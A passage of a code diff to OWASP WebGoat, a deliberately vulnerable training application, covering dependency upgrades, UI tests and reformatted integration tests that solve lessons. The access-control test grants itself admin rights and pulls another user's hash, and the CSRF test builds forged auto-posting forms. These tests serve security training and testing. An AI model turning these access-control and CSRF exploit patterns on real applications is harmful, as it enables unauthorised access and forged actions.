+  --add-opens java.base/java.io=ALL-UNNAMED \
+  --add-opens java.base/java.util=ALL-UNNAMED \
+  -Drunning.in.docker=false \
+  -jar /config/webgoat.jar

config/desktop/start_zap.sh

@@ -0,0 +1,3 @@
+#!/bin/sh
+
+/config/jdk-17.0.6+10-jre/bin/java -jar /config/ZAP_2.12.0/zap-2.12.0.jar

pom.xml

@@ -1,16 +1,16 @@
 <?xml version="1.0" encoding="UTF-8"?>
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
-
   <modelVersion>4.0.0</modelVersion>
 
   <parent>
     <groupId>org.springframework.boot</groupId>
     <artifactId>spring-boot-starter-parent</artifactId>
-    <version>2.7.1</version>
+    <version>3.1.5</version>
   </parent>
+
   <groupId>org.owasp.webgoat</groupId>
   <artifactId>webgoat</artifactId>
-  <version>2023.3</version>
+  <version>2023.6</version>
   <packaging>jar</packaging>
 
   <name>WebGoat</name>
@@ -27,6 +27,7 @@
       <url>https://www.gnu.org/licenses/gpl-2.0.txt</url>
     </license>
   </licenses>
+
   <developers>
     <developer>
       <id>mayhew64</id>
@@ -94,7 +95,6 @@
       <archive>http://lists.owasp.org/pipermail/owasp-webgoat/</archive>
     </mailingList>
   </mailingLists>
-
   <scm>
     <connection>scm:git:git@github.com:WebGoat/WebGoat.git</connection>
     <developerConnection>scm:git:git@github.com:WebGoat/WebGoat.git</developerConnection>
@@ -108,44 +108,47 @@
   </issueManagement>
 
   <properties>
-
     <!-- Shared properties with plugins and version numbers across submodules-->
-    <asciidoctorj.version>2.5.3</asciidoctorj.version>
+    <asciidoctorj.version>2.5.10</asciidoctorj.version>
-    <bootstrap.version>3.3.7</bootstrap.version>
+    <bootstrap.version>5.3.1</bootstrap.version>
-    <cglib.version>2.2</cglib.version>
+    <cglib.version>3.3.0</cglib.version>
     <!-- do not update necessary for lesson -->
-    <checkstyle.version>3.1.2</checkstyle.version>
+    <checkstyle.version>3.3.1</checkstyle.version>
     <commons-collections.version>3.2.1</commons-collections.version>
-    <commons-io.version>2.6</commons-io.version>
+    <commons-io.version>2.15.1</commons-io.version>
     <commons-lang3.version>3.12.0</commons-lang3.version>
-    <commons-text.version>1.9</commons-text.version>
+    <commons-text.version>1.10.0</commons-text.version>
-    <guava.version>30.1-jre</guava.version>
+    <guava.version>32.1.3-jre</guava.version>
+    <jacoco.version>0.8.11</jacoco.version>
     <java.version>17</java.version>
+    <jaxb.version>2.3.1</jaxb.version>
     <jjwt.version>0.9.1</jjwt.version>
-    <jose4j.version>0.7.6</jose4j.version>
+    <jose4j.version>0.9.3</jose4j.version>
-    <jquery.version>3.5.1</jquery.version>
+    <jquery.version>3.7.0</jquery.version>
-    <jsoup.version>1.14.3</jsoup.version>
+    <jsoup.version>1.16.1</jsoup.version>
     <maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version>
     <maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version>
     <maven-jar-plugin.version>3.1.2</maven-jar-plugin.version>
     <maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version>
     <maven-source-plugin.version>3.1.0</maven-source-plugin.version>
-    <maven-surefire-plugin.version>3.0.0-M5</maven-surefire-plugin.version>
+    <maven-surefire-plugin.version>3.2.1</maven-surefire-plugin.version>
     <maven.compiler.source>17</maven.compiler.source>
     <maven.compiler.target>17</maven.compiler.target>
     <pmd.version>3.15.0</pmd.version>
     <!-- Use UTF-8 Encoding -->
     <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
     <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
-    <thymeleaf.version>3.0.15.RELEASE</thymeleaf.version>
+    <thymeleaf.version>3.1.1.RELEASE</thymeleaf.version>
-    <webdriver.version>4.3.1</webdriver.version>
+    <webdriver.version>5.3.3</webdriver.version>
-    <webgoat.port>8080</webgoat.port>
+    <webgoat.context>/</webgoat.context>
-    <webwolf.port>9090</webwolf.port>
+    <webgoat.sslenabled>false</webgoat.sslenabled>
+    <webjars-locator-core.version>0.53</webjars-locator-core.version>
+    <webwolf.context>/</webwolf.context>
     <wiremock.version>2.27.2</wiremock.version>
     <xml-resolver.version>1.2</xml-resolver.version>
     <xstream.version>1.4.5</xstream.version>
     <!-- do not update necessary for lesson -->
-    <zxcvbn.version>1.5.2</zxcvbn.version>
+    <zxcvbn.version>1.8.0</zxcvbn.version>
   </properties>
 
   <dependencyManagement>
@@ -154,7 +157,7 @@
       <dependency>
         <groupId>org.ow2.asm</groupId>
         <artifactId>asm</artifactId>
-        <version>9.1</version>
+        <version>9.5</version>
       </dependency>
 
       <dependency>
@@ -198,6 +201,17 @@
         <artifactId>jjwt</artifactId>
         <version>${jjwt.version}</version>
       </dependency>
+      <dependency>
+        <groupId>com.auth0</groupId>
+        <artifactId>jwks-rsa</artifactId>
+        <version>0.22.1</version>
+      </dependency>
+      <!-- https://mvnrepository.com/artifact/com.auth0/java-jwt -->
+      <dependency>
+        <groupId>com.auth0</groupId>
+        <artifactId>java-jwt</artifactId>
+        <version>4.4.0</version>
+      </dependency>
       <dependency>
         <groupId>com.google.guava</groupId>
         <artifactId>guava</artifactId>
@@ -228,6 +242,11 @@
         <artifactId>jquery</artifactId>
         <version>${jquery.version}</version>
       </dependency>
+      <dependency>
+        <groupId>org.webjars</groupId>
+        <artifactId>webjars-locator-core</artifactId>
+        <version>${webjars-locator-core.version}</version>
+      </dependency>
       <dependency>
         <groupId>com.github.tomakehurst</groupId>
         <artifactId>wiremock</artifactId>
@@ -241,16 +260,15 @@
       <dependency>
         <groupId>org.apache.commons</groupId>
         <artifactId>commons-compress</artifactId>
-        <version>1.21</version>
+        <version>1.25.0</version>
       </dependency>
       <dependency>
         <groupId>org.jruby</groupId>
         <artifactId>jruby</artifactId>
-        <version>9.3.6.0</version>
+        <version>9.4.3.0</version>
       </dependency>
     </dependencies>
   </dependencyManagement>
-
   <dependencies>
     <dependency>
       <groupId>org.apache.commons</groupId>
@@ -269,6 +287,7 @@
     <dependency>
       <groupId>javax.xml.bind</groupId>
       <artifactId>jaxb-api</artifactId>
+      <version>${jaxb.version}</version>
     </dependency>
     <dependency>
       <groupId>org.springframework.boot</groupId>
@@ -308,9 +327,17 @@
       <groupId>org.springframework.boot</groupId>
       <artifactId>spring-boot-starter-thymeleaf</artifactId>
     </dependency>
+    <dependency>
+      <groupId>org.springframework.boot</groupId>
+      <artifactId>spring-boot-starter-oauth2-client</artifactId>
+    </dependency>
     <dependency>
       <groupId>org.thymeleaf.extras</groupId>
-      <artifactId>thymeleaf-extras-springsecurity5</artifactId>
+      <artifactId>thymeleaf-extras-springsecurity6</artifactId>
+    </dependency>
+    <dependency>
+      <groupId>jakarta.servlet</groupId>
+      <artifactId>jakarta.servlet-api</artifactId>
     </dependency>
     <dependency>
       <groupId>org.hsqldb</groupId>
@@ -340,6 +367,15 @@
       <groupId>io.jsonwebtoken</groupId>
       <artifactId>jjwt</artifactId>
     </dependency>
+    <dependency>
+      <groupId>com.auth0</groupId>
+      <artifactId>jwks-rsa</artifactId>
+    </dependency>
+    <!-- https://mvnrepository.com/artifact/com.auth0/java-jwt -->
+    <dependency>
+      <groupId>com.auth0</groupId>
+      <artifactId>java-jwt</artifactId>
+    </dependency>
     <dependency>
       <groupId>com.google.guava</groupId>
       <artifactId>guava</artifactId>
@@ -369,8 +405,17 @@
       <artifactId>jquery</artifactId>
     </dependency>
     <dependency>
-      <groupId>org.glassfish.jaxb</groupId>
+      <groupId>org.webjars</groupId>
-      <artifactId>jaxb-runtime</artifactId>
+      <artifactId>webjars-locator-core</artifactId>
+    </dependency>
+    <dependency>
+      <groupId>jakarta.xml.bind</groupId>
+      <artifactId>jakarta.xml.bind-api</artifactId>
+    </dependency>
+    <dependency>
+      <groupId>com.sun.xml.bind</groupId>
+      <artifactId>jaxb-impl</artifactId>
+      <scope>runtime</scope>
     </dependency>
 
     <dependency>
@@ -386,6 +431,7 @@
     <dependency>
       <groupId>com.github.tomakehurst</groupId>
       <artifactId>wiremock</artifactId>
+      <version>3.0.0-beta-2</version>
       <scope>test</scope>
     </dependency>
     <dependency>
@@ -393,6 +439,11 @@
       <artifactId>rest-assured</artifactId>
       <scope>test</scope>
     </dependency>
+    <dependency>
+      <groupId>org.springframework.boot</groupId>
+      <artifactId>spring-boot-properties-migrator</artifactId>
+      <scope>runtime</scope>
+    </dependency>
   </dependencies>
 
   <repositories>
@@ -461,10 +512,19 @@
         <groupId>org.apache.maven.plugins</groupId>
         <artifactId>maven-failsafe-plugin</artifactId>
         <configuration>
+          <environmentVariables>
+            <WEBGOAT_SSLENABLED>${webgoat.sslenabled}</WEBGOAT_SSLENABLED>
+            <WEBGOAT_HOST>127.0.0.1</WEBGOAT_HOST>
+            <WEBGOAT_PORT>${webgoat.port}</WEBGOAT_PORT>
+            <WEBGOAT_CONTEXT>${webgoat.context}</WEBGOAT_CONTEXT>
+            <WEBWOLF_HOST>127.0.0.1</WEBWOLF_HOST>
+            <WEBWOLF_PORT>${webwolf.port}</WEBWOLF_PORT>
+            <WEBWOLF_CONTEXT>${webwolf.context}</WEBWOLF_CONTEXT>
+          </environmentVariables>
           <systemPropertyVariables>
             <logback.configurationFile>${basedir}/src/test/resources/logback-test.xml</logback.configurationFile>
           </systemPropertyVariables>
-          <argLine>-Xmx512m -Dwebgoatport=${webgoat.port} -Dwebwolfport=${webwolf.port}</argLine>
+          <argLine>-Xmx512m</argLine>
           <includes>org/owasp/webgoat/*Test</includes>
         </configuration>
         <executions>
@@ -487,10 +547,12 @@
         <artifactId>maven-surefire-plugin</artifactId>
         <version>${maven-surefire-plugin.version}</version>
         <configuration>
+          <forkedProcessTimeoutInSeconds>600</forkedProcessTimeoutInSeconds>
           <argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
-                        --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
+          --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
-                        --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
+          --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
-                        --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED</argLine>
+          --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED
+          --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED</argLine>
           <excludes>
             <exclude>**/*IntegrationTest.java</exclude>
             <exclude>src/it/java</exclude>
@@ -503,7 +565,6 @@
         <artifactId>maven-checkstyle-plugin</artifactId>
         <version>${checkstyle.version}</version>
         <configuration>
-          <encoding>UTF-8</encoding>
           <consoleOutput>true</consoleOutput>
           <failsOnError>true</failsOnError>
           <configLocation>config/checkstyle/checkstyle.xml</configLocation>
@@ -514,7 +575,7 @@
       <plugin>
         <groupId>com.diffplug.spotless</groupId>
         <artifactId>spotless-maven-plugin</artifactId>
-        <version>2.29.0</version>
+        <version>2.41.1</version>
         <configuration>
           <formats>
             <format>
@@ -536,6 +597,11 @@
             <flexmark></flexmark>
           </markdown>
           <java>
+            <includes>
+              <include>src/main/java/**/*.java</include>
+              <include>src/test/java/**/*.java</include>
+              <include>src/it/java/**/*.java</include>
+            </includes>
             <removeUnusedImports></removeUnusedImports>
             <googleJavaFormat>
               <style>GOOGLE</style>
@@ -570,7 +636,7 @@
       <plugin>
         <groupId>org.apache.maven.plugins</groupId>
         <artifactId>maven-enforcer-plugin</artifactId>
-        <version>3.0.0</version>
+        <version>3.3.0</version>
         <executions>
           <execution>
             <id>restrict-log4j-versions</id>
@@ -627,16 +693,15 @@
                   <portNames>
                     <portName>webgoat.port</portName>
                     <portName>webwolf.port</portName>
-                    <portName>jmxPort</portName>
                   </portNames>
                 </configuration>
               </execution>
             </executions>
           </plugin>
           <plugin>
-            <groupId>com.bazaarvoice.maven.plugins</groupId>
+            <groupId>org.honton.chas</groupId>
             <artifactId>process-exec-maven-plugin</artifactId>
-            <version>0.9</version>
+            <version>0.9.2</version>
             <executions>
               <execution>
                 <id>start-jar</id>
@@ -644,16 +709,25 @@
                   <goal>start</goal>
                 </goals>
                 <phase>pre-integration-test</phase>
+
                 <configuration>
                   <workingDir>${project.build.directory}</workingDir>
+                  <environment>
+                    <WEBGOAT_SSLENABLED>${webgoat.sslenabled}</WEBGOAT_SSLENABLED>
+                    <WEBGOAT_HOST>127.0.0.1</WEBGOAT_HOST>
+                    <WEBGOAT_PORT>${webgoat.port}</WEBGOAT_PORT>
+                    <WEBGOAT_CONTEXT>${webgoat.context}</WEBGOAT_CONTEXT>
+                    <WEBWOLF_HOST>127.0.0.1</WEBWOLF_HOST>
+                    <WEBWOLF_PORT>${webwolf.port}</WEBWOLF_PORT>
+                    <WEBWOLF_CONTEXT>${webwolf.context}</WEBWOLF_CONTEXT>
+                  </environment>
                   <arguments>
                     <argument>java</argument>
                     <argument>-jar</argument>
                     <argument>-Dlogging.pattern.console=</argument>
+                    <argument>-Dwebgoat.server.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
+                    <argument>-Dwebgoat.user.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
                     <argument>-Dspring.main.banner-mode=off</argument>
-                    <argument>-Dspring.datasource.url=jdbc:hsqldb:file:${java.io.tmpdir}/webgoat</argument>
-                    <argument>-Dwebgoat.port=${webgoat.port}</argument>
-                    <argument>-Dwebwolf.port=${webwolf.port}</argument>
                     <argument>--add-opens</argument>
                     <argument>java.base/java.lang=ALL-UNNAMED</argument>
                     <argument>--add-opens</argument>
@@ -672,10 +746,13 @@
                     <argument>java.base/java.io=ALL-UNNAMED</argument>
                     <argument>--add-opens</argument>
                     <argument>java.base/java.util=ALL-UNNAMED</argument>
+                    <argument>--add-opens</argument>
+                    <argument>java.base/sun.nio.ch=ALL-UNNAMED</argument>
+                    <argument>--add-opens</argument>
+                    <argument>java.base/java.io=ALL-UNNAMED</argument>
                     <argument>${project.build.directory}/webgoat-${project.version}.jar</argument>
                   </arguments>
                   <waitForInterrupt>false</waitForInterrupt>
-                  <healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/</healthcheckUrl>
                 </configuration>
               </execution>
               <execution>
@@ -700,7 +777,6 @@
           <plugin>
             <groupId>org.owasp</groupId>
             <artifactId>dependency-check-maven</artifactId>
-            <version>6.5.1</version>
             <configuration>
               <failBuildOnCVSS>7</failBuildOnCVSS>
               <skipProvidedScope>false</skipProvidedScope>
@@ -721,6 +797,81 @@
         </plugins>
       </build>
     </profile>
+    <profile>
+      <!-- run with: mvn test -Pcoverage -->
+      <id>coverage</id>
+      <activation>
+        <activeByDefault>false</activeByDefault>
+      </activation>
+      <build>
+        <plugins>
+          <plugin>
+            <groupId>org.apache.maven.plugins</groupId>
+            <artifactId>maven-surefire-plugin</artifactId>
+            <version>${maven-surefire-plugin.version}</version>
+            <configuration>
+              <argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
+          --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
+          --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
+          --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED
+          ${surefire.jacoco.args}</argLine>
+              <excludes>
+                <exclude>**/*IntegrationTest.java</exclude>
+                <exclude>src/it/java</exclude>
+                <exclude>org/owasp/webgoat/*Test</exclude>
+              </excludes>
+            </configuration>
+          </plugin>
+          <plugin>
+            <groupId>org.jacoco</groupId>
+            <artifactId>jacoco-maven-plugin</artifactId>
+            <executions>
+              <execution>
+                <id>before-unit-test</id>
+                <goals>
+                  <goal>prepare-agent</goal>
+                </goals>
+                <configuration>
+                  <destFile>${project.build.directory}/jacoco/jacoco-ut.exec</destFile>
+                  <propertyName>surefire.jacoco.args</propertyName>
+                </configuration>
+              </execution>
+              <execution>
+                <id>check</id>
+                <goals>
+                  <goal>check</goal>
+                </goals>
+                <configuration>
+                  <rules>
+                    <rule>
+                      <element>BUNDLE</element>
+                      <limits>
+                        <limit>
+                          <counter>CLASS</counter>
+                          <value>COVEREDCOUNT</value>
+                          <minimum>0.6</minimum>
+                        </limit>
+                      </limits>
+                    </rule>
+                  </rules>
+                  <dataFile>${project.build.directory}/jacoco/jacoco-ut.exec</dataFile>
+                </configuration>
+              </execution>
+              <execution>
+                <id>after-unit-test</id>
+                <goals>
+                  <goal>report</goal>
+                </goals>
+                <phase>test</phase>
+                <configuration>
+                  <dataFile>${project.build.directory}/jacoco/jacoco-ut.exec</dataFile>
+                  <outputDirectory>${project.reporting.outputDirectory}/jacoco-unit-test-coverage-report</outputDirectory>
+                </configuration>
+              </execution>
+            </executions>
+          </plugin>
+        </plugins>
+      </build>
+    </profile>
   </profiles>
-
 </project>

robot/README.md

@@ -12,8 +12,10 @@ Then see security settings and allow the file to run
         pip3 install virtualenv --user
         python3 -m virtualenv .venv
         source .venv/bin/activate
-        pip install robotframework
+        pip install --upgrade robotframework
-        pip install robotframework-SeleniumLibrary
+        pip install --upgrade robotframework-SeleniumLibrary
-        pip install webdriver-manager
+        pip install --upgrade webdriver-manager
+        brew upgrade
         robot --variable HEADLESS:"0" --variable ENDPOINT:"http://127.0.0.1:8080/WebGoat" goat.robot
 
+Make sure that the Chrome version, the webdriver version and all related components are up-to-date and compatible!

robot/goat.robot

@@ -2,6 +2,7 @@
 Documentation  Setup WebGoat Robotframework tests
 Library  SeleniumLibrary  timeout=100  run_on_failure=Capture Page Screenshot
 Library  String
+Library  OperatingSystem
 
 Suite Setup  Initial_Page  ${ENDPOINT}  ${BROWSER}
 Suite Teardown  Close_Page
@@ -11,7 +12,7 @@ ${BROWSER}  chrome
 ${SLEEP}  100
 ${DELAY}  0.25
 ${ENDPOINT}  http://127.0.0.1:8080/WebGoat
-${ENDPOINT_WOLF}  http://127.0.0.1:9090
+${ENDPOINT_WOLF}  http://127.0.0.1:9090/WebWolf
 ${USERNAME}  robotuser
 ${PASSWORD}  password
 ${HEADLESS}  ${FALSE}
@@ -22,22 +23,25 @@ Initial_Page
   [Arguments]  ${ENDPOINT}  ${BROWSER}
   Log To Console  Start WebGoat UI Testing
   IF  ${HEADLESS}
-      Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webgoat
+      Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'});add_argument("-headless");add_argument("--start-maximized")  alias=webgoat
   ELSE
       Open Browser  ${ENDPOINT}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webgoat
   END
-  IF  ${HEADLESS}
-      Open Browser  ${ENDPOINT_WOLF}/WebWolf  ${BROWSER}  options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webwolf
-  ELSE
-      Open Browser  ${ENDPOINT_WOLF}/WebWolf  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webwolf
-  END
   Switch Browser  webgoat
   Maximize Browser Window
   Set Window Size  ${1400}  ${1000}
+  Set Window Position  ${0}  ${0}
+  Set Selenium Speed  ${DELAY}
+  Log To Console  Start WebWolf UI Testing
+  IF  ${HEADLESS}
+      Open Browser  ${ENDPOINT_WOLF}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'});add_argument("-headless");add_argument("--start-maximized")  alias=webwolf
+  ELSE
+      Open Browser  ${ENDPOINT_WOLF}  ${BROWSER}  options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'})  alias=webwolf
+  END
   Switch Browser  webwolf
   Maximize Browser Window
   Set Window Size  ${1400}  ${1000}
-  Set Window Position  ${400}  ${200}
+  Set Window Position  ${500}  ${0}
   Set Selenium Speed  ${DELAY}
 
 Close_Page
@@ -53,6 +57,7 @@ Close_Page
 *** Test Cases ***
 
 Check_Initial_Page
+  [Tags]  WebGoatTests
   Switch Browser  webgoat
   Page Should Contain  Username
   Click Button  Sign in
@@ -60,6 +65,7 @@ Check_Initial_Page
   Click Link  /WebGoat/registration
 
 Check_Registration_Page
+  [Tags]  WebGoatTests
   Page Should Contain  Username
   Input Text  username  ${USERNAME}
   Input Text  password  ${PASSWORD}
@@ -68,6 +74,7 @@ Check_Registration_Page
   Click Button  Sign up
 
 Check_Welcome_Page
+  [Tags]  WebGoatTests
   Page Should Contain  WebGoat
   Go To  ${ENDPOINT}/login
   Page Should Contain  Username
@@ -77,6 +84,7 @@ Check_Welcome_Page
   Page Should Contain  WebGoat
 
 Check_Menu_Page
+  [Tags]  WebGoatTests
   Click Element  css=a[category='Introduction']
   Click Element  Introduction-WebGoat
   CLick Element  Introduction-WebWolf
@@ -93,9 +101,29 @@ Check_Menu_Page
 
 Check_WebWolf
   Switch Browser  webwolf
-  location should be  ${ENDPOINT_WOLF}/WebWolf
+  location should be  ${ENDPOINT_WOLF}/login
-  Go To  ${ENDPOINT_WOLF}/mail
   Input Text  username  ${USERNAME}
   Input Text  password  ${PASSWORD}
   Click Button  Sign In
+  Go To  ${ENDPOINT_WOLF}/mail
+  Go To  ${ENDPOINT_WOLF}/requests
+  Go To  ${ENDPOINT_WOLF}/files
 
+Check_JWT_Page
+  Go To  ${ENDPOINT_WOLF}/jwt
+  Click Element  token
+  Wait Until Element Is Enabled  token  5s
+  Input Text     token  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
+  Click Element  secretKey
+  Input Text     secretKey  none
+  Sleep  2s  # Pause before reading the result
+  ${OUT_VALUE}   Get Value  xpath=//textarea[@id='token']
+  Log To Console  Found token ${OUT_VALUE}
+  ${OUT_RESULT}  Evaluate  "ImuPnHvLdU7ULKfbD4aJU" in """${OUT_VALUE}"""
+  Log To Console  Found token ${OUT_RESULT}
+  Capture Page Screenshot
+
+Check_Files_Page
+  Go To  ${ENDPOINT_WOLF}/files
+  Choose File  css:input[type="file"]  ${CURDIR}/goat.robot
+  Click Button  Upload files

src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java

@@ -1,86 +1,85 @@
 package org.owasp.webgoat;
 
-
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
+import java.util.Map;
 import org.apache.http.HttpStatus;
 import org.junit.jupiter.api.Test;
 
-import java.util.Map;
-
 class AccessControlIntegrationTest extends IntegrationTest {
 
-    @Test
+  @Test
-    void testLesson() {
+  void testLesson() {
-        startLesson("MissingFunctionAC", true);
+    startLesson("MissingFunctionAC", true);
-        assignment1();
+    assignment1();
-        assignment2();
+    assignment2();
-        assignment3();
+    assignment3();
 
-        checkResults("/access-control");
+    checkResults("/access-control");
-    }
+  }
 
-    private void assignment3() {
+  private void assignment3() {
-        //direct call should fail if user has not been created
+    // direct call should fail if user has not been created
-        RestAssured.given()
+    RestAssured.given()
-                .when()
+        .when()
-                .relaxedHTTPSValidation()
+        .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
+        .cookie("JSESSIONID", getWebGoatCookie())
-                .contentType(ContentType.JSON)
+        .contentType(ContentType.JSON)
-                .get(url("/WebGoat/access-control/users-admin-fix"))
+        .get(url("access-control/users-admin-fix"))
-                .then()
+        .then()
-                .statusCode(HttpStatus.SC_FORBIDDEN);
+        .statusCode(HttpStatus.SC_FORBIDDEN);
 
-        //create user
+    // create user
-        var userTemplate = """
+    var userTemplate =
+        """
                 {"username":"%s","password":"%s","admin": "true"}
                 """;
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .contentType(ContentType.JSON)
+        .body(String.format(userTemplate, this.getUser(), this.getUser()))
+        .post(url("access-control/users"))
+        .then()
+        .statusCode(HttpStatus.SC_OK);
+
+    // get the users
+    var userHash =
         RestAssured.given()
-                .when()
+            .when()
-                .relaxedHTTPSValidation()
+            .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
+            .cookie("JSESSIONID", getWebGoatCookie())
-                .contentType(ContentType.JSON)
+            .contentType(ContentType.JSON)
-                .body(String.format(userTemplate, this.getUser(), this.getUser()))
+            .get(url("access-control/users-admin-fix"))
-                .post(url("/WebGoat/access-control/users"))
+            .then()
-                .then()
+            .statusCode(200)
-                .statusCode(HttpStatus.SC_OK);
+            .extract()
+            .jsonPath()
+            .get("find { it.username == \"Jerry\" }.userHash");
 
-        //get the users
+    checkAssignment(url("access-control/user-hash-fix"), Map.of("userHash", userHash), true);
-        var userHash =
+  }
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .contentType(ContentType.JSON)
-                        .get(url("/WebGoat/access-control/users-admin-fix"))
-                        .then()
-                        .statusCode(200)
-                        .extract()
-                        .jsonPath()
-                        .get("find { it.username == \"Jerry\" }.userHash");
 
-        checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
+  private void assignment2() {
-    }
+    var userHash =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .contentType(ContentType.JSON)
+            .get(url("access-control/users"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath()
+            .get("find { it.username == \"Jerry\" }.userHash");
 
-    private void assignment2() {
+    checkAssignment(url("access-control/user-hash"), Map.of("userHash", userHash), true);
-        var userHash =
+  }
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .contentType(ContentType.JSON)
-                        .get(url("/WebGoat/access-control/users"))
-                        .then()
-                        .statusCode(200)
-                        .extract()
-                        .jsonPath()
-                        .get("find { it.username == \"Jerry\" }.userHash");
 
-        checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true);
+  private void assignment1() {
-    }
+    var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
-
+    checkAssignment(url("access-control/hidden-menu"), params, true);
-    private void assignment1() {
+  }
-        var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
-        checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true);
-    }
 }

src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java

@@ -1,8 +1,18 @@
 package org.owasp.webgoat;
 
+import static org.assertj.core.api.Assertions.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
 
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
 import lombok.Data;
 import lombok.SneakyThrows;
 import org.junit.jupiter.api.AfterEach;
@@ -11,249 +21,266 @@ import org.junit.jupiter.api.DynamicTest;
 import org.junit.jupiter.api.TestFactory;
 import org.owasp.webgoat.container.lessons.Assignment;
 
-import java.io.IOException;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.nio.file.Paths;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.Map;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-
 public class CSRFIntegrationTest extends IntegrationTest {
 
-    private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
+  private static final String trickHTML3 =
-            "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
-            "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n" +
+          + "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
-            "</form></body></html>";
+          + "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
+          + "</form></body></html>";
 
-    private static final String trickHTML4 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
+  private static final String trickHTML4 =
-            "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n" +
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
-            "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n" +
+          + "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
-            "<input type=\"hidden\" name=\"validateReq\" value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n" +
+          + "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
